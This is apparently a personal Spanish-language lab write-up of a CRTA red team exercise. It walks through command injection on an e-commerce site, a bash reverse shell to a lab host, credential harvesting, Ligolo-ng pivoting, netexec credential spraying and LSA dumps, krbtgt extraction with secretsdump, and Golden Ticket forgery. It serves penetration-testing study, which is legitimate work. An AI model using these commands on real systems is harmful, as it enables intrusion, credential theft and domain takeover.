Apuntes Ciberseguridad (Cibaism)
HTBGitHubLinkedInNotion (Writeups)
  • Welcome to My Digital Garden
  • About me
  • Hacking notes (Personal)
    • Tratamiento TTY
    • Hacking Web Tecniques
      • File Inclusion
    • Linux Privilage Escalation
    • Arreglar bloodhound
  • Hacking Notes (Learning Path)
    • (HTB) Penetration Tester
      • Getting Started
        • Common Terms
          • Tipos de Shell
          • Puertos importantes
          • OWASP Top 10
        • Service Scanning
          • Nmap
          • Attacking Network Services
            • Captura de banners
            • FTP
            • SMB
            • SNMP
        • Web Enumeration
        • Public exploits
          • Encontrar exploits públicos
          • Introducción a Metasploit
        • Types of Shells
          • Reverse Shell
          • Bind Shell
          • Web Shell
        • Privilage escalation
        • Transferring Files
      • Footprinting
        • Infrastructura Based Enumeration
          • Domain Information
          • Cloud Resources
          • Staff
        • Host Based Enumeration
          • FTP
          • SMB
          • NFS
          • DNS
          • SMTP
          • IMAP / POP3
          • SNMP
          • MySQL
          • MSSQL
          • Oracle TNS
          • IPMI
          • Protocolos de administración remota de Linux
          • Protocolos de administración remota de Windows
      • Introduction to Active Directory Enumeration & Attacks
        • Tools of the Trade
        • Initial enumeration
          • External Recon and Enumeration Principles
          • Initial Enumeration of the Domain
        • Sniffing out a Foothold
          • LLMNR/NBT-NS Poisoning - from Linux
          • LLMNR/NBT-NS Poisoning - from Windows
        • Sighting In, Hunting For A User
          • Password Spraying Overview
          • Enumerating & Retrieving Password Policies
          • Password Spraying - Making a Target User List
        • Spray Responsibly
          • Internal Password Spraying - from Linux
      • File Inclusion
        • File Disclousure
          • Local File Inclusion (LFI)
          • Basic Bypasses
          • PHP Filters
        • Remote Code Execution
          • PHP Wrappers
    • (CRTA) Red Team Analyst
      • (CRTA) Red Team Analyst - Lab
    • (eJPT) Junior Penetration Tester
      • Assessment Methodologies
        • Assessment Methodologies: Footprinting & Scanning
          • Windows Recon: Nmap Host Discovery
          • Scan the Server 1
          • Windows Recon: SMB Nmap Scripts
        • Assessment Methodologies: Enumeration
          • Importing Nmap Scan Results Into MSF
          • T1046 : Network Service Scanning
          • FTP Enumeration
          • Samba Recon: Basics
          • Apache Enumeration
          • MySQL Enumeration
          • SSH Login
          • Postfix Recon: Basics
        • Assessment Methodologies: Vulnerability Assessment
          • Windows: IIS Server DAVTest
          • Shellshock
          • Web App Vulnerability Scanning With WMAP
      • Host & Network Penetration Testing
        • Host & Network Penetration Testing: System/Host Based Attacks
          • Windows
            • Windows: IIS Server: WebDav Metasploit
            • Windows: SMB Server PSexec
            • Windows: Insecure RDP Service
            • WinRM: Exploitation with Metasploit
            • UAC Bypass: UACMe
            • Privilege Escalation: Impersonate
            • Unattended Installation
            • Windows: Meterpreter: Kiwi Extension
          • Linux
            • ProFTP Recon: Basics
            • Samba Recon: Dictionary Attack
            • Cron Jobs Gone Wild II
            • Exploiting Setuid Programs
            • Password Cracker: Linux
        • Host & Network Penetration Testing: Network-Based Attacks
          • NetBIOS Hacking
          • SNMP Analysis
          • DNS & SMB Relay Attack
        • Host & Network Penetration Testing: The Metasploit Framework (MSF)
          • Windows: Java Web Server
          • Windows: HTTP File Server
          • Vulnerable FTP Server
          • Vulnerable File Sharing Service
          • Vulnerable SSH server
          • Vulnerable SMTP Server
          • Meterpreter Basics
          • Upgrading Command Shells To Meterpreter Shells
          • Windows Post Exploitation Modules
          • UAC Bypass: Memory Injection (Metasploit)
          • Exploiting SMB With PsExec
          • Windows: Enabling Remote Desktop
          • Clearing Windows Event Logs
          • Pivoting
  • Blue team notes
    • Digital Forensics
      • Malware Analysis with VirusTotal
      • Wireshark
    • (Falcon) CrowdStrike
      • FALCON 104: Getting Started with the Endpoint Security Module
      • FALCON 106: Customizing Dashboards in Falcon
      • FALCON 180: Falcon Forensics Fundamentals
  • Programming
    • Powershell
Powered by GitBook
On this page
  • Scope
  • Escaneo de red
  • Enumeración web (puerto 80)
  • Intrusión
  • Escalada de privilegios
  • Extracción de datos sensibles
  • Pivoting (Ligolo-ng)
  • Descarga de requerimentos
  • Descomprimir y cambiar nombres
  • Generación de interfaz de red para el tunneling
  • Ejecutar el proxy en mi máquina local
  • Ejecutar el agente del proxy en la máquina comprometida
  • Escaneo de la segunda red
  • Enumeración de la segunda red
  • Intrusión del Domain Controller (DC de la red 2)
  • Elevación de privilegios del DC
  1. Hacking Notes (Learning Path)
  2. (CRTA) Red Team Analyst

(CRTA) Red Team Analyst - Lab

Previous(CRTA) Red Team AnalystNext(eJPT) Junior Penetration Tester

Last updated 2 months ago

Scope

FIeld
Value

VPN IP Range

10.10.200.0/24

External IP Range

192.168.80.0/24

Internal IP Range

192.168.98.0/24

Escaneo de red

Primero se debe realizar un escaneo de red para averiguar que direcciones IPv4 pertenecen a esta, de este modo, las tendremos identificadas.

sudo nmap -sn 192.168.80.0/24 -oN direcciones_IP_red1.txt

A continuación procederemos a realizar un escaneo de puertos de cada dirección IPv4 de la red, para tal de ver que puertos tienen aviertos.

sudo nmap -sSVC -p- --min-rate 5000 -n -Pn 192.168.80.10 -vvv -oN escaneo_IP1.txt

Vemos que tiene una web corriendo por el puerto 80. Así que vamos a enumerarla.

Enumeración web (puerto 80)

Para tal de enumerarla, vamos a abrir la web en el navegador.

Vemos que se trata de un E-commerce. Tras no poder ver nada más, vamos a crearnos una cuenta para tal de poder enumerarlo desde dentro.

Vemos que hay un panel de búsqueda, podríamos intentar una SQLI. Pero no resulta exitosa. Pero vemos que nos pide un correo para la newsletter. Lo interceptaremos con burp y lo mandaremos al repeter.

Vemos que no parece nada, pero tras probar varios payloads, vemos que es vulnerable a un OS Command Execution.

Vemos que es vulnerable, ahora solo nos quedaría lanzar una reverse shell.

Intrusión

bash -c 'exec bash -i &>/dev/tcp/10.10.200.162/6969 <&1'
nc -lnvp 6969

Tras ver que se queda colgado, vamos a verificar que hemos recibido la petición.

El próximo paso será realizar un tratamiento de la TTY para tal de tener más comodidad.

Escalada de privilegios

Vemos que tenemos un archivo llamado config.php con credenciales de una base de datos.

cat config.php

A continuación nos meteremos en la base de datos para tal de enumerarla y sacar información.

mysql -u root -p
password: Web!@#$%

Tras enumerarla por completo no resulta exitoso. Decido enumerar el archivo /etc/passwd para ver si ha contenido sensible expuesto.

cat /etc/passwd | grep "/bin/bash"

Vemos que nos muestra una especie de contraseña para el usuario privilege. Vamos a iniciar sesión por ssh para tal de tener un terminal más cómodo.

ssh privilege@192.168.80.10

Vemos a ver si podemos elevar privilegios de sudo con este usuario.

sudo -l

Vemos que podemos ejecutar todo y elevar directamente nuestros privilegios a root.

sudo su

Extracción de datos sensibles

Tras estar enumerando el sistema, vemos que en el directerio /home/privilege/.mozilla/firefox/b2rri1qd.default-release hay archivos de bases de datos.

ls -la | grep "sqlite"

Tras estar enumerando todas las bases de datos he encontrado unas posibles credenciales de la máquina que debemos saltar.

sqlite places.sqlite
.tables
select * from moz_bookmarks;

Pivoting (Ligolo-ng)

Descarga de requerimentos

Agent file

sudo wget https://github.com/nicocha30/ligolo-ng/releases/download/v0.4.3/ligolo-ng_agent_0.4.3_Linux_64bit.tar.gz

Proxy file

sudo wget https://github.com/nicocha30/ligolo-ng/releases/download/v0.4.3/ligolo-ng_proxy_0.4.3_Linux_64bit.tar.gz

Descomprimir y cambiar nombres

tar -xvf ligolo-ng_agent_0.4.3_Linux_64bit.tar.gz
tar -xvf ligolo-ng_proxy_0.4.3_Linux_64bit.tar.gz
sudo mv proxy lin-proxy
sudo mv agent lin-agent

Generación de interfaz de red para el tunneling

sudo ip tuntap add user cibaism mode tun ligolo
sudo ip link set ligolo up

Ejecutar el proxy en mi máquina local

./lin-proxy -selfcert -laddr 0.0.0.0:443

A continuación compartimos el agente a la máquina linux que hemos comprometido.

python3 -m http.server 80
wget http://10.10.200.162/lin-agent

A continuación le damos permisos de ejecución.

chmod +x lin-agent

Ejecutar el agente del proxy en la máquina comprometida

./lin-agent -connect 10.10.200.162:443 -ignore-cert

Ahora revisamos que se ha establecido la comunicación entre las dos máquinas.

En la máquina target, ejecutarmemos el siguiente comando para establecer un route entre redes.

ip route

A continuación en nuestra máquina ejecutaremos el siguiente comando.

sudo ip route add 192.168.98.0/24 dev ligolo
ip route

Escaneo de la segunda red

A continuación relizaremos un escaneo de la segunda red para tal de ver los endpoints que podemos atacar.

sudo nmap -sn 192.168.98.0/24 -oN direcciones_IP_red2.txt

Enumeración de la segunda red

A continuación identificamos guardamos todos los hosts en un archivo para tal de probar las credenciales encontradas en el archivo de base de datos.

netexec smb direcciones_ip_red2.txt -u 'john' -p 'User1@#$%6'

Podemos observer que la máquina 192.168.98.30 está corriendo un DC (Domain Controller) y que las credenciales son válidas. A continuación probaremos si podemos acceder por el protocolo winrm.

netexec winrm 192.168.98.30 -u 'john' -p 'User1@#$%6'

Vemos que las credenciales son válidas así que podemos acceder al sistema.

Intrusión del Domain Controller (DC de la red 2)

A continuación procederemos a autentificarnos.

evil-winrm -i 192.168.98.30 -u 'john' -p 'User1@#$%6'

Elevación de privilegios del DC

A continuación, extraeremos todos los usuarios que han iniciado sesión en el dominio y veremos si podemos extraer alguna de sus credenciales.

netexec smb 192.168.98.30 -u 'john' -p 'User1@#$%6' --loggedon-users

Vamos a ver si podemos dumear sus credenciales o su hash.

netexec smb 192.168.98.30 -u 'john' -p 'User1@#$%6' --lsa

Vemos que nos da unas credenciales. Vamos a verificar que las credenciales funcionan.

netexec smb 192.168.98.30 -u 'corpmngr' -p 'User4&*&*'

Observamos que no podemos ganarnos una shell con esta, pero es una máquina del domino. Por lo tanto vamos a averiguar a que máquina del dominio podemos acceder.

netexec smb direcciones_ip_red2.txt -u 'corpmngr' -p 'User4&*&*'

Vamos a ver si podemos dumear sus credenciales o su hash.

impacket-secretsdump -debug child/corpmngr:'User4&*&*'@cdc.child.warfare.corp
impacket-secretsdump -debug child/corpmngr:'User4&*&*'@cdc.child.warfare.corp -just-dc-user 'child\krbtgt'

Ahora podemos extraer el SID.

impacket-lookupsid child/corpmngr:'User4&*&*'@192.168.98.120
impacket-lookupsid child/corpmngr:'User4&*&*'@192.168.98.2

Al obterner los SID, podemos relizar el atacke de Golden Ticket.

impacket-ticketer -domain child.warfaer.corp -aesKey ad8c273289e4c511b4363c43c08f9a5aff06f8fe002c10ab1031da11152611b2 -domain-sid S-1-5-21-3754860944-83624914-1883974761 -groups 516 -user-id 1106 -extra-sid S-1-5-21-3375883379-808943238-3239386119,S-1-5-9 'corpmngr'

A continuación, decararemos una variable de entorno con el archivo que a soltado.

export KRB5CCNAME=corpmngr.ccache

Finalmente realizaremos la elevación al DC.

getST.py -spn 'CIFS/dc01.warfare.corp' -k -no-pass child.warfare.corp/corpmngr -debug